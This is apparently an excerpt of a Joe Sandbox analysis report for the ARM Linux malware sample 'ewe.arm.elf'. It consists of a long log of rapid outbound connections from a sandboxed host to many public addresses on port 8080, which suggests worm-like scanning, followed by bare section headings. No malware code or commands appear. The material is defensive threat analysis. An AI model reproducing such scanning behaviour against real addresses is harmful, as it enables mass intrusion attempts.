Feb 27, 2025 07:08:38.591176987 CET	25538	8080	192.168.2.14	31.213.11.60
Feb 27, 2025 07:08:38.591176033 CET	25538	8080	192.168.2.14	94.41.199.203
Feb 27, 2025 07:08:38.591182947 CET	25538	8080	192.168.2.14	62.96.224.109
Feb 27, 2025 07:08:38.591196060 CET	25538	8080	192.168.2.14	94.241.42.127
Feb 27, 2025 07:08:38.591197014 CET	25538	8080	192.168.2.14	94.228.194.198
Feb 27, 2025 07:08:38.591198921 CET	25538	8080	192.168.2.14	62.194.90.87
Feb 27, 2025 07:08:38.591202974 CET	25538	8080	192.168.2.14	62.227.32.17
Feb 27, 2025 07:08:38.591212034 CET	25538	8080	192.168.2.14	95.182.48.192
Feb 27, 2025 07:08:38.591217041 CET	25538	8080	192.168.2.14	31.214.224.168
Feb 27, 2025 07:08:38.591222048 CET	25538	8080	192.168.2.14	94.204.149.116
Feb 27, 2025 07:08:38.591224909 CET	25538	8080	192.168.2.14	94.42.225.40
Feb 27, 2025 07:08:38.591224909 CET	25538	8080	192.168.2.14	85.106.89.87
Feb 27, 2025 07:08:38.591226101 CET	25538	8080	192.168.2.14	62.150.240.93
Feb 27, 2025 07:08:38.591226101 CET	25538	8080	192.168.2.14	85.194.34.31
Feb 27, 2025 07:08:38.591236115 CET	25538	8080	192.168.2.14	31.207.184.25
Feb 27, 2025 07:08:38.591238976 CET	25538	8080	192.168.2.14	94.35.58.98
Feb 27, 2025 07:08:38.591253996 CET	25538	8080	192.168.2.14	94.166.185.218
Feb 27, 2025 07:08:38.591255903 CET	25538	8080	192.168.2.14	31.205.231.174
Feb 27, 2025 07:08:38.591255903 CET	25538	8080	192.168.2.14	31.80.85.145
Feb 27, 2025 07:08:38.591267109 CET	25538	8080	192.168.2.14	31.202.22.111
Feb 27, 2025 07:08:38.591268063 CET	25538	8080	192.168.2.14	94.232.170.143
Feb 27, 2025 07:08:38.591273069 CET	25538	8080	192.168.2.14	94.49.140.200
Feb 27, 2025 07:08:38.591276884 CET	25538	8080	192.168.2.14	85.72.93.80
Feb 27, 2025 07:08:38.591278076 CET	25538	8080	192.168.2.14	95.223.41.4
Feb 27, 2025 07:08:38.591286898 CET	25538	8080	192.168.2.14	31.93.24.146
Feb 27, 2025 07:08:38.591294050 CET	25538	8080	192.168.2.14	94.255.84.151
Feb 27, 2025 07:08:38.591294050 CET	25538	8080	192.168.2.14	62.1.245.128
Feb 27, 2025 07:08:38.591294050 CET	25538	8080	192.168.2.14	94.161.61.91
Feb 27, 2025 07:08:38.591304064 CET	25538	8080	192.168.2.14	31.192.79.140
Feb 27, 2025 07:08:38.591329098 CET	25538	8080	192.168.2.14	85.216.164.75
Feb 27, 2025 07:08:38.591345072 CET	25538	8080	192.168.2.14	85.225.189.210
Feb 27, 2025 07:08:38.591345072 CET	25538	8080	192.168.2.14	95.159.82.226
Feb 27, 2025 07:08:38.591345072 CET	25538	8080	192.168.2.14	62.56.33.202
Feb 27, 2025 07:08:38.591346979 CET	25538	8080	192.168.2.14	94.171.248.217
Feb 27, 2025 07:08:38.591351986 CET	25538	8080	192.168.2.14	85.89.92.193
Feb 27, 2025 07:08:38.591351986 CET	25538	8080	192.168.2.14	62.4.40.107
Feb 27, 2025 07:08:38.591351986 CET	25538	8080	192.168.2.14	95.5.134.62
Feb 27, 2025 07:08:38.591362000 CET	25538	8080	192.168.2.14	85.88.46.223
Feb 27, 2025 07:08:38.591362953 CET	25538	8080	192.168.2.14	62.4.204.219
Feb 27, 2025 07:08:38.591377974 CET	25538	8080	192.168.2.14	85.87.136.27
Feb 27, 2025 07:08:38.591377974 CET	25538	8080	192.168.2.14	31.24.180.162
Feb 27, 2025 07:08:38.591386080 CET	25538	8080	192.168.2.14	62.177.254.246
Feb 27, 2025 07:08:38.591396093 CET	25538	8080	192.168.2.14	85.8.221.159
Feb 27, 2025 07:08:38.591398001 CET	25538	8080	192.168.2.14	62.139.218.17
Feb 27, 2025 07:08:38.591399908 CET	25538	8080	192.168.2.14	31.47.90.16
Feb 27, 2025 07:08:38.591398001 CET	25538	8080	192.168.2.14	85.124.105.37
Feb 27, 2025 07:08:38.591414928 CET	25538	8080	192.168.2.14	31.33.153.202
Feb 27, 2025 07:08:38.591414928 CET	25538	8080	192.168.2.14	95.57.52.142
Feb 27, 2025 07:08:38.591417074 CET	25538	8080	192.168.2.14	85.161.238.10
Feb 27, 2025 07:08:38.591417074 CET	25538	8080	192.168.2.14	95.2.32.32
Feb 27, 2025 07:08:38.591423035 CET	25538	8080	192.168.2.14	85.3.173.234
Feb 27, 2025 07:08:38.591423988 CET	25538	8080	192.168.2.14	85.245.96.99
Feb 27, 2025 07:08:38.591427088 CET	25538	8080	192.168.2.14	85.249.193.243
Feb 27, 2025 07:08:38.591433048 CET	25538	8080	192.168.2.14	95.162.170.46
Feb 27, 2025 07:08:38.591433048 CET	25538	8080	192.168.2.14	95.36.179.24
Feb 27, 2025 07:08:38.591442108 CET	25538	8080	192.168.2.14	62.29.31.219
Feb 27, 2025 07:08:38.591455936 CET	25538	8080	192.168.2.14	94.198.232.165
Feb 27, 2025 07:08:38.591464043 CET	25538	8080	192.168.2.14	94.40.147.0
Feb 27, 2025 07:08:38.591465950 CET	25538	8080	192.168.2.14	94.39.215.250
Feb 27, 2025 07:08:38.591465950 CET	25538	8080	192.168.2.14	85.238.26.116
Feb 27, 2025 07:08:38.591478109 CET	25538	8080	192.168.2.14	85.143.108.209
Feb 27, 2025 07:08:38.591479063 CET	25538	8080	192.168.2.14	95.135.85.149
Feb 27, 2025 07:08:38.591481924 CET	25538	8080	192.168.2.14	85.118.58.180
Feb 27, 2025 07:08:38.591478109 CET	25538	8080	192.168.2.14	85.216.118.177
Feb 27, 2025 07:08:38.591494083 CET	25538	8080	192.168.2.14	95.96.115.24
Feb 27, 2025 07:08:38.591499090 CET	25538	8080	192.168.2.14	94.195.204.78
Feb 27, 2025 07:08:38.591505051 CET	25538	8080	192.168.2.14	94.248.225.44
Feb 27, 2025 07:08:38.591506004 CET	25538	8080	192.168.2.14	95.91.132.8
Feb 27, 2025 07:08:38.591506004 CET	25538	8080	192.168.2.14	31.94.116.97
Feb 27, 2025 07:08:38.591516972 CET	25538	8080	192.168.2.14	85.95.174.245
Feb 27, 2025 07:08:38.591520071 CET	25538	8080	192.168.2.14	85.146.115.120
Feb 27, 2025 07:08:38.591521978 CET	25538	8080	192.168.2.14	95.148.70.175
Feb 27, 2025 07:08:38.591521978 CET	25538	8080	192.168.2.14	95.19.108.70
Feb 27, 2025 07:08:38.591546059 CET	25538	8080	192.168.2.14	85.255.108.40
Feb 27, 2025 07:08:38.591547966 CET	25538	8080	192.168.2.14	85.70.155.166
Feb 27, 2025 07:08:38.591551065 CET	25538	8080	192.168.2.14	95.215.215.124
Feb 27, 2025 07:08:38.591551065 CET	25538	8080	192.168.2.14	94.9.61.177
Feb 27, 2025 07:08:38.591559887 CET	25538	8080	192.168.2.14	31.90.67.236
Feb 27, 2025 07:08:38.591563940 CET	25538	8080	192.168.2.14	95.126.10.49
Feb 27, 2025 07:08:38.591578960 CET	25538	8080	192.168.2.14	95.252.21.64
Feb 27, 2025 07:08:38.591578960 CET	25538	8080	192.168.2.14	95.85.3.42
Feb 27, 2025 07:08:38.591587067 CET	25538	8080	192.168.2.14	31.24.124.169
Feb 27, 2025 07:08:38.591587067 CET	25538	8080	192.168.2.14	85.174.148.209
Feb 27, 2025 07:08:38.591590881 CET	25538	8080	192.168.2.14	62.218.15.98

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report ewe.arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
ewe.arm.elf